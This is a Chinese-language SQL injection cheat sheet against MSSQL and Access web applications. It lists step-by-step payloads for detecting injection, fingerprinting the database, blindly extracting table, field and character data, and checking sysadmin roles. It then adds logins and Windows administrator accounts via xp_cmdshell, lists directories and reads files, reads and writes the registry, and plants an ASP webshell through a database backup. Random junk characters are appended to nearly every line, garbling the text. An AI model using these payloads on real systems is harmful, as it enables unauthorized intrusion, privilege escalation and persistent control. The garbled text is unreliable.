1.判断是否有注入;and 1=1 ;and 1=2 c{||l+B
2.初步判断是否是mssql ;and user>0 >a_K:O|AJ
1;ZEuO
3.注入参数是字符'and [查询条件] and ''=' ~;bwfp_
w<\N-J|m
4.搜索时没过滤参数的'and [查询条件] and '%25'=' dn%/SJC
#?}Y~Oe
5.判断数据库系统 Y$oBsg\v
8ne5 B4
;and (select count(*) from sysobjects)>0 mssql 6\~m{@
oY +RG|j@
;and (select count(*) from msysobjects)>0 access A{&Etu(K
r)U9u 0
pxDZ}4mOh
&(Xp_3PO
6.猜数据库 ;and (select Count(*) from [数据库名])>0 \Cx3^
iX
->8n.!F}
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 kE6\G}zj
g\ <Lb
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ^9cqT2:t
{Z-5
9.(1)猜字段的ascii值(access) tC|5;'m.2
M&Ycw XV:Z
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 q' _
:V+t|@m5l
(2)猜字段的ascii值(mssql) `pII-dSC%
':.d,x)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 qDcl;{L
*2;w;(-s
10.测试权限结构(mssql) ]S;e#u{QE
f)"O( c
"uZ'oN
8&dmH&
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0Apvuf1
M{O2O(
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 5
0~L(<
s2w.V
O
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- '|WMt g
#-e3m/>
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 8&`s wu&
xo^_;(;
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- (Ca\$p7/
T3M 4r|
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- K;[V`)d'
fFSW\4JD=
;and 1=(select IS_MEMBER('db_owner'));-- OP:;?Fs9`
tb0s+rb
(">!vz
<C CEqY4
11.添加mssql和系统的帐户 0{A VH/S
9dKrE_zK:
;exec master.dbo.sp_addlogin username;-- f$(w>B7..
;exec master.dbo.sp_password null,username,password;-- .>CqZN,^
!u4oo-
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Fp@eb8Pl
$XT&8%|*7
;exec master.dbo.xp_cmdshell 'net user username password ^IQC:21
Kj-:'jzW
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Z(Q?epyT
p?Yovckm
;exec master.dbo.xp_cmdshell 'net user username password /add';-- &Hh%pY"
(`>4~?|+T
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- oX?2fu-
FA4bv9:hi
v,p/r)E
9O}YtX2
12.(1)遍历目录 ,YH^jc
p1X
lni%=
;create table dirs(paths varchar(100), id int) Ev$?c9*>
o`G'E&
;insert dirs exec master.dbo.xp_dirtree 'c:\' {#Gr=iv~N
`[o^w(l:5@
;and (select top 1 paths from dirs)>0 tYmWze.j
S~Nx;sB
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) C7q bofoV
of{wZU\J+9
8?I(wn
Q&n
(2)遍历目录 /!7m@P|&D
B;7L:
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 299; N
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 7NJ1cQ-}t
m"+9[d_u
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 xx9qi^
tLV9b %i(
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 yt_?4Hc"
^dqyX(
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 p|AIz3
S'TF7u
A"S})
7CwG(c/5
13.mssql中的存储过程 b/O~f8t
;Iv)J|*
xp_regenumvalues 注册表根键, 子键 7i6-Hq
UyK|KL
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 R<k4LHDy
Oo=}j
xp_regread 根键,子键,键值名 o?hya.;h4
Is?0q@
;exec xp_regread 6ng
.
=
qIO)Z
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 fE_QB=9 cz
Kw-E%7gh4c
xp_regwrite 根键,子键, 值名, 值类型, 值 ^5"s3Qn
W@pVP4F0xM
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 e ~*qi&,4
VN`2bp>5I
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 SjG=H%
{\lu; b!
xp_regdeletevalue 根键,子键,值名 O`|'2x{[O
-?'u"*#1,
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 m=j7 vb
CS6,mX
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 2ht<"
dwJ'hg
MdEZ839J
Xg.\B1d
14.mssql的backup创建webshell r7w&p.?
G9}[g)R*
use model /r}t
E!3W_:Bs
create table cmd(str image); -
n11L
htMpL
insert into cmd(str) values ('');
]km8M^P
(x?A#o>%
backup database model to disk='c:\l.asp'; \JN<